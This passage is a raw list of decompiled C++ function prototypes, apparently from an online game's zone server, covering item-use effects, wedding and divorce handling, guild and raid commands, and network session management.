ItemTotalInformation *); char __thiscall UseEffect::UseItemPropose::uib_DirectUse(UseEffect::UseItemPropose *this, #734 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemImmediateDivorce::UseItemImmediateDivorce(UseEffect::UseItemImmediateDivorce *this); unsigned __int16 __thiscall UseEffect::UseItemImmediateDivorce::uib_CanUseItem(UseEffect::UseItemImmediateDivorce *this, #734 *, ItemTotalInformation *); char __thiscall UseEffect::UseItemImmediateDivorce::uib_DirectUse(UseEffect::UseItemImmediateDivorce *this, #734 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemFire::UseItemFire(UseEffect::UseItemFire *this); void __thiscall UseEffect::UseItemFire::uib_Effect(UseEffect::UseItemFire *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemGuildReName::UseItemGuildReName(UseEffect::UseItemGuildReName *this); void __thiscall UseEffect::UseItemGuildReType::UseItemGuildReType(UseEffect::UseItemGuildReType *this); void __thiscall UseEffect::UseItemFurnitureEndureKit::UseItemFurnitureEndureKit(UseEffect::UseItemFurnitureEndureKit *this); int __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_ProtocolMake(UseEffect::UseItemFurnitureEndureKit *this, NETCOMMAND *nc); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureHnd(UseEffect::UseItemFurnitureEndureKit *this, unsigned __int16 *nFurnitureHnd); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureKey(UseEffect::UseItemFurnitureEndureKit *this, SHINE_ITEM_REGISTNUMBER *nKey); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SetFurnitureEndureTime(UseEffect::UseItemFurnitureEndureKit *this, ShineDateTime *dEndureTime); void __thiscall UseEffect::UseItemGBCoin::UseItemGBCoin(UseEffect::UseItemGBCoin *this); void __thiscall UseEffect::UseItemCapsule::UseItemCapsule(UseEffect::UseItemCapsule *this); unsigned __int16 __thiscall UseEffect::UseItemCapsule::uib_CanUseItem(UseEffect::UseItemCapsule *this, #734 *, ItemTotalInformation *); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall UseEffect::UseItemMysteryBolt::UseItemMysteryBolt(UseEffect::UseItemMysteryBolt *this); void __thiscall UseEffect::UsedItemEffect::UsedItemEffect(UseEffect::UsedItemEffect *this); void __thiscall GatherProduce::GatherTable::_GatherTable(GatherProduce::GatherTable *this); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCHESTSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCHESTFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountSP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_UseAmountHPSP(void *this, int slot, __int16 inv); void __thiscall ShineObjectClass::ShinePlayer::sp_Move2MiniHouse(void *this, int slot, int itm); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedBuff(void *ply, int itm); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemEffect(void *this, int effect, unsigned __int16 value, int funcstr); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Notice(void *this, int str); void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Cancel(void *this, int inven); void __thiscall ShineObjectClass::ShinePlayer::sp_AttrChange2DB(void *this, int iic, int iac, int iti, int inven); int __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalCast(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWing_PortalBlast(void *this, int inven); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMCHANGE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall UseEffect::UseItemNoEffect::UseItemNoEffect(UseEffect::UseItemNoEffect *this); unsigned __int16 __thiscall UseEffect::UseItemSilverWing::uib_CanUseItem(UseEffect::UseItemSilverWing *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemRecallScroll::uib_CanUseItem(UseEffect::UseItemRecallScroll *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemByTable::uib_CanUseItem(UseEffect::UseItemByTable *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemChargedBuff::uib_CanUseItem(UseEffect::UseItemChargedBuff *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemRide::uib_CanUseItem(UseEffect::UseItemRide *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemMemoryFeather::uib_CanUseItem(UseEffect::UseItemMemoryFeather *this, #734 *, ItemTotalInformation *); void __thiscall ShineObjectClass::ShinePlayer::sp_ChestBoxOpen(void *this, __int16 slot, int itm); void __thiscall GameDBSession::gds_NC_ITEMDB_CHESTITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChestBoxOpenAck(void *this, int ack); char __thiscall UseEffect::UseItemMiniHouse::uib_DirectUse(UseEffect::UseItemMiniHouse *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemMiniHouseFurniture::uib_DirectUse(UseEffect::UseItemMiniHouseFurniture *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemRide::uib_DirectUse(UseEffect::UseItemRide *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemChest::uib_DirectUse(UseEffect::UseItemChest *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemMysteryBolt::uib_DirectUse(UseEffect::UseItemMysteryBolt *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemLicenseClear::uib_DirectUse(UseEffect::UseItemLicenseClear *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemStatClear::uib_DirectUse(UseEffect::UseItemStatClear *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountHP::uib_DirectUse(UseEffect::UseItemAmountHP *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountSP::uib_DirectUse(UseEffect::UseItemAmountSP *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemAmountHPSP::uib_DirectUse(UseEffect::UseItemAmountHPSP *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemBossMobDetect::uib_DirectUse(UseEffect::UseItemBossMobDetect *this, #734 *, int, ItemTotalInformation *); void __thiscall UseEffect::UseItemRecallScroll::uib_Effect(UseEffect::UseItemRecallScroll *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillScroll::uib_Effect(UseEffect::UseItemSkillScroll *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemByTable::uib_Effect(UseEffect::UseItemByTable *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemChargedBuff::uib_Effect(UseEffect::UseItemChargedBuff *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemItemPackage::uib_Effect(UseEffect::UseItemItemPackage *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemRoar::uib_Effect(UseEffect::UseItemRoar *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillErase::uib_Effect(UseEffect::UseItemSkillErase *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemWingStone::uib_Effect(UseEffect::UseItemWingStone *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemMemoryFeather::uib_Effect(UseEffect::UseItemMemoryFeather *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); unsigned __int16 __thiscall UseEffect::UseItemFire::uib_CanUseItem(UseEffect::UseItemFire *this, #734 *, ItemTotalInformation *); void __thiscall UseEffect::UseItemGuildReName::uib_Effect(UseEffect::UseItemGuildReName *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemGuildReType::uib_Effect(UseEffect::UseItemGuildReType *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemVariationProtocolBase::uib_AfterCast(UseEffect::UseItemVariationProtocolBase *this, #734 *, ItemBag *, ItemDataBox::ItemDataBoxIndex *, char); void __thiscall UseEffect::UseItemFurnitureEndureKit::uivpb_SendErrorCode(UseEffect::UseItemFurnitureEndureKit *this, #734 *, unsigned __int16); char __thiscall UseEffect::UseItemGBCoin::uib_DirectUse(UseEffect::UseItemGBCoin *this, #734 *, int, ItemTotalInformation *); void __thiscall ShineObjectClass::ShinePlayer::sp_CapsuleItemOpen(void *this, __int16 slot, int itm); void __thiscall GameDBSession::gds_NC_ITEMDB_CAPSULEITEM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_CapsuleItemOpenAck(void *this, int pAck); void __thiscall GameDBSession::gds_NC_ITEMDB_GETFROMCAPSULE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ItemSmallBag::isb_FindEmpty(ItemSmallBag *this, #734 *sp); void __thiscall ShineObjectClass::ShinePlayer::sp_Move4Activ(void *sp, int slot, __int16 to, __int16 from); void __thiscall ServerMenuFuncter::smfm_Silverwing_Cancel(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ServerMenuFuncter::smfm_Silverwing_Portal(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::sp_silverwing_Setloc(void *this, int inven); char __thiscall UseEffect::UseItemActionItem::uib_DirectUse(UseEffect::UseItemActionItem *this, #734 *, int, ItemTotalInformation *); char __thiscall UseEffect::UseItemCapsule::uib_DirectUse(UseEffect::UseItemCapsule *this, #734 *, int, ItemTotalInformation *); void __thiscall ServerMenuFuncter::smfm_Silverwing_LocSet(ServerMenuFuncter *this, #734 *, ServerMenuArgument *); void __thiscall ShineObjectClass::ShinePlayer::sp_SilverWingMenu(void *this, __int16 slot, int itm); char __thiscall UseEffect::UseItemSilverWing::uib_DirectUse(UseEffect::UseItemSilverWing *this, #734 *, int, ItemTotalInformation *); SkillDataBox::SkillDataIndex *__thiscall UseEffect::UsedItemEffect::uie_UseSkillID(UseEffect::UsedItemEffect *this, char *skillname); void __thiscall UseEffect::UsedItemEffect::uie_Load(UseEffect::UsedItemEffect *this); unsigned __int16 __thiscall UseEffect::UseItemSkillScroll::uib_CanUseItem(UseEffect::UseItemSkillScroll *this, #734 *, ItemTotalInformation *); void __thiscall RestExpCalculate::RestExpCalculate(RestExpCalculate *this); unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecond(RestExpCalculate *this, const int *rNewTime, const int *rOldTime); unsigned int __thiscall RestExpCalculate::CalRestExpforMilliSecondNotDefaultTime(RestExpCalculate *this, const int *rNewTime, const int *rOldTime); bool __thiscall RestExpCalculate::RestExpAbstateApplication(RestExpCalculate *this, #734 *, const int *); WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon); WEAPON_TITLE_DATA *__thiscall CWeaponTitleZone::GetLevelData(CWeaponTitleZone *this, unsigned __int16 MobID, ItemTotalInformation *pWeapon, unsigned int *pLevel); int __thiscall ShineObjectClass::ShinePlayer::so_ply_EquipWeapon(void *this, int inv); void __thiscall GameDBSession::gds_NC_WT_LICENSE_CLR_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_LICENSE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_WT_TITLE_SET_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_saveweapontitle(void *this, int itemkey, __int16 mobid, int KillCount); void __thiscall ShineObjectClass::ShinePlayer::sp_WeaponLicenseClear(void *this, int pReq, int weaponcell, int clearitemcell); signed int __thiscall ShineObjectClass::ShinePlayer::so_weapontitle(void *this, unsigned __int16 *mobid); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_WT_LICENSE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ItemInventoryCell::iic_WeaponTitleSave(ItemInventoryCell *this, #734 *sp); bool __thiscall ShineDateTime::operator>(ShineDateTime *this, ShineDateTime *Rhs); bool __thiscall ShineDateTime::operator<(ShineDateTime *this, ShineDateTime *Rhs); ShineDateTime *__thiscall ShineDateTime::operator__(ShineDateTime *this, ShineDateTimeSpan Rhs); __int64 __thiscall ShineDateTime::toTime_t(ShineDateTime *this); void __thiscall WeddingPerson::WeddingPerson(WeddingPerson *this); PassiveDataBox::SpecialSkill *__thiscall PassiveDataBox::sdb_SpecSkillStruct(PassiveDataBox *this); void __cdecl ProposeResult(#593 *, unsigned __int16, unsigned __int16); void __cdecl ProposeResult(#593 *, unsigned __int16, unsigned __int16, const char *); void __cdecl ReservResult(#593 *, unsigned __int16, __int64); unsigned __int16 __cdecl Checker::WhenBeProposed(); unsigned __int16 __cdecl Checker::WhenReserve(); unsigned __int16 __cdecl Checker::WhenReservePartner(); PROTO_NC_CHAR_WEDDINGDATA_ACK *__cdecl ShineObjectClass::ShineObject::so_ply_WeddingStatus(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingStatus(void *this); int __thiscall PROTO_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG::operator_(int this, int a2); char __thiscall WeddingHall::wh_GuestCanEnter(WeddingHall *this, PROTO_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_ACK *wedding_progress); unsigned __int16 __cdecl Checker::WhenPropose(); unsigned __int16 __cdecl Checker::WhenProposeBoth(); unsigned __int16 __cdecl Checker::ApplicationLimit(); int __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::operator_(int this, int a2); unsigned __int16 __cdecl Checker::DelayLimit(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingInfoUpdate(void *this, int wedding); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingPrepareItem(void *this); int __thiscall ShineObjectClass::ShinePlayer::so_ply_DivorceProcess(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ(_DWORD, _DWORD, _DWORD, _DWORD); // weak int __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEACK_ACK(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_CHAR_WEDDING_CANCEL_WEDDING(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WeddingHall::WeddingHall(WeddingHall *this); char __thiscall WeddingHall::wh_Reserv(WeddingHall *this, #593 *, #593 *, __int64 *); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_INFO_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_PARTNER_SUMMON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_WEDDING_REFRESH_INFO_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall GameDBSession::gds_NC_CHAR_WEDDINGDATA_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PROPOSE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_AGREE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_BY_FORCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_DO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DIVORCE_CANCEL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __cdecl learnSkill(#593 *, unsigned __int16, bool); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_DO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_ESCAPE_DIVORCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHAR_WEDDING_PARTNER_INFO_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); unsigned __int16 __cdecl Checker::DivorceLimit(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeddingData(void *this, int wed); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WeddingHall::wh_Start(WeddingHall *this); bool __thiscall WeddingHall::wh_RecallCouple(WeddingHall *this, unsigned int regnum); void __thiscall WeddingHall::wh_Routine(WeddingHall *this); void __thiscall ZoneListenSession::zls_NC_ACT_WEDDING_COUPLE_ENTRANCE_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall WorldManagerSession::WorldManagerSession(WorldManagerSession *this); void __thiscall WorldManagerSession::_WorldManagerSession(WorldManagerSession *this); ItemBag *__thiscall ShineObjectClass::ShineObject::so_ply_CheckDamageAbsorption(CharacterInventoryManager *this, CharacterInventory *ci); void __thiscall SocketBundle::sb_Varification(SocketBundle *this, GameDBSession *sock); void __thiscall WorldManagerSession::wms_DummyFunction(WorldManagerSession *this, NETCOMMAND *netcmd, int len); int __thiscall ShineObjectClass::ShinePlayer::so_fill_CHAR_PARAMETER_DATA(void *this, int param); int __thiscall ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK(void *this, int logsuc); void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATAFAIL_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARDATA_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_kickoff(WorldManagerSession *this, unsigned int usrregnum); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_CHARTITLE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CT_CHARTTING_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CT_ADD_FRIEND_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MEMBER_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_ZONE_PRISON_GO_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_GuildWarStatusRequest(WorldManagerSession *this); void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_EndOfKQPacket(WorldManagerSession *this, unsigned int kqhandle); void __thiscall WorldManagerSession::wms_NC_GUILD_STORAGE_WITHDRAW_GRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_GRADE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_RENAME_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_RETYPE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_LOOTING_TYPE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_VANISH_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SLOT_MOVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SET_LEADER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SET_SUB_LEADER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_DEL_SUB_LEADER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_SET_LOOTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_SPAMMER_ZONE_CHAT_BAN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_EVENTNPC_STANDSTART_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_MISC_EVENTNPC_STANDEND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_PROTECTION_FROM_GAME_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_FRIEND_LIST_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_FRIEND_ADD_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_FRIEND_DEL_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_ZONE_PRISON_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_CHAR_ZONE_SINGLE_OPTION_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_RAID_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ZoneBaseSession::_ZoneBaseSession(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Close(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Send(ZoneBaseSession *this, void *pData, int nSize); int __thiscall ZoneBaseSession::Receive(ZoneBaseSession *this); int __thiscall ZoneBaseSession::Socket_Register_To_IOCP(ZoneBaseSession *this, CIOCP *pIOCP); int __thiscall ZoneBaseSession::CheckHeartBeat(ZoneBaseSession *this, int interval); int __thiscall IOCPProcessSession::IOCP_Process(IOCPProcessSession *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes); int __thiscall ZoneBaseSession::Connect(ZoneBaseSession *this, char *pIPAddress, int PortNo, CIOCP *pIOCP); void __thiscall ZoneBaseSession::ZoneBaseSession(ZoneBaseSession *this); void __thiscall ZoneBaseSessionManager::ZoneBaseSessionManager(ZoneBaseSessionManager *this); void __thiscall ZoneBaseSessionManager::FreeSessions(ZoneBaseSessionManager *this); void __thiscall ZoneBaseSessionManager::ProcHeartBeat(ZoneBaseSessionManager *this, CIOCP *pIOCP); void __thiscall ZoneBaseSessionManager::_ZoneBaseSessionManager(ZoneBaseSessionManager *this); int __thiscall ZoneBaseSessionManager::InitSessions(ZoneBaseSessionManager *this, int MaxSessions); void __thiscall ZoneBaseSessionManager::EmptyToActive(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList); ZoneBaseSessionManager::LOGIN_SESSION_LIST *__thiscall ZoneBaseSessionManager::ActiveSession(ZoneBaseSessionManager *this, unsigned int SocketAccept, sockaddr *pAddr); void __thiscall ZoneBaseSessionManager::InactiveSession(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList); void __thiscall ZoneConnectSession::ZoneConnectSession(ZoneConnectSession *this); void __thiscall ZoneConnectSession::_ZoneConnectSession(ZoneConnectSession *this); void __thiscall ZoneRingPacketFindPlayer::ZoneRingPacketFindPlayer(ZoneRingPacketFindPlayer *this); void __thiscall ZoneRingPacketExpBonus::_ZoneRingPacketExpBonus(ZoneRingPacketFindInstanceDungeon *this); void __thiscall ZoneRingPacketFindPlayerByNormalUser::ZoneRingPacketFindPlayerByNormalUser(ZoneRingPacketFindPlayerByNormalUser *this); void __thiscall ZoneRingPacketSummonPlayer::ZoneRingPacketSummonPlayer(ZoneRingPacketSummonPlayer *this); void __thiscall ZoneRingPacketKickPlayerOut::ZoneRingPacketKickPlayerOut(ZoneRingPacketKickPlayerOut *this); void __thiscall ZoneRingPacketItemBonus::ZoneRingPacketItemBonus(ZoneRingPacketItemBonus *this); void __thiscall ZoneRingPacketExpBonus::ZoneRingPacketExpBonus(ZoneRingPacketExpBonus *this); void __thiscall ZoneRingPacketSummonPartner::ZoneRingPacketSummonPartner(ZoneRingPacketSummonPartner *this); void __thiscall ZoneRingPacketFindInstanceDungeon::ZoneRingPacketFindInstanceDungeon(ZoneRingPacketFindInstanceDungeon *this); void __thiscall ZoneRingPacketEmtpyInstanceDungeon::ZoneRingPacketEmtpyInstanceDungeon(ZoneRingPacketEmtpyInstanceDungeon *this); void __thiscall ZoneRingPacketFindInstanceDungeon::zrpb_Query(ZoneRingPacketFindInstanceDungeon *this, #593 *, NETCOMMAND *); void __thiscall ZoneConnectSession::zcs_Send(ZoneConnectSession *this, ProtocolPacket *pp, int len); void __thiscall ZoneRingPacketSummonPlayer::zrpb_Request(ZoneRingPacketSummonPlayer *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayer::zrpb_Request(ZoneRingPacketFindPlayer *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketFindPlayerByNormalUser::zrpb_Request(ZoneRingPacketFindPlayerByNormalUser *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketKickPlayerOut::zrpb_Request(ZoneRingPacketKickPlayerOut *this, #593 *, NETCOMMAND *); void __thiscall ZoneRingPacketItemBonus::zrpb_Request(ZoneRingPacketItemBonus *this, #593 *, NETCOMMAND *); void __thiscall 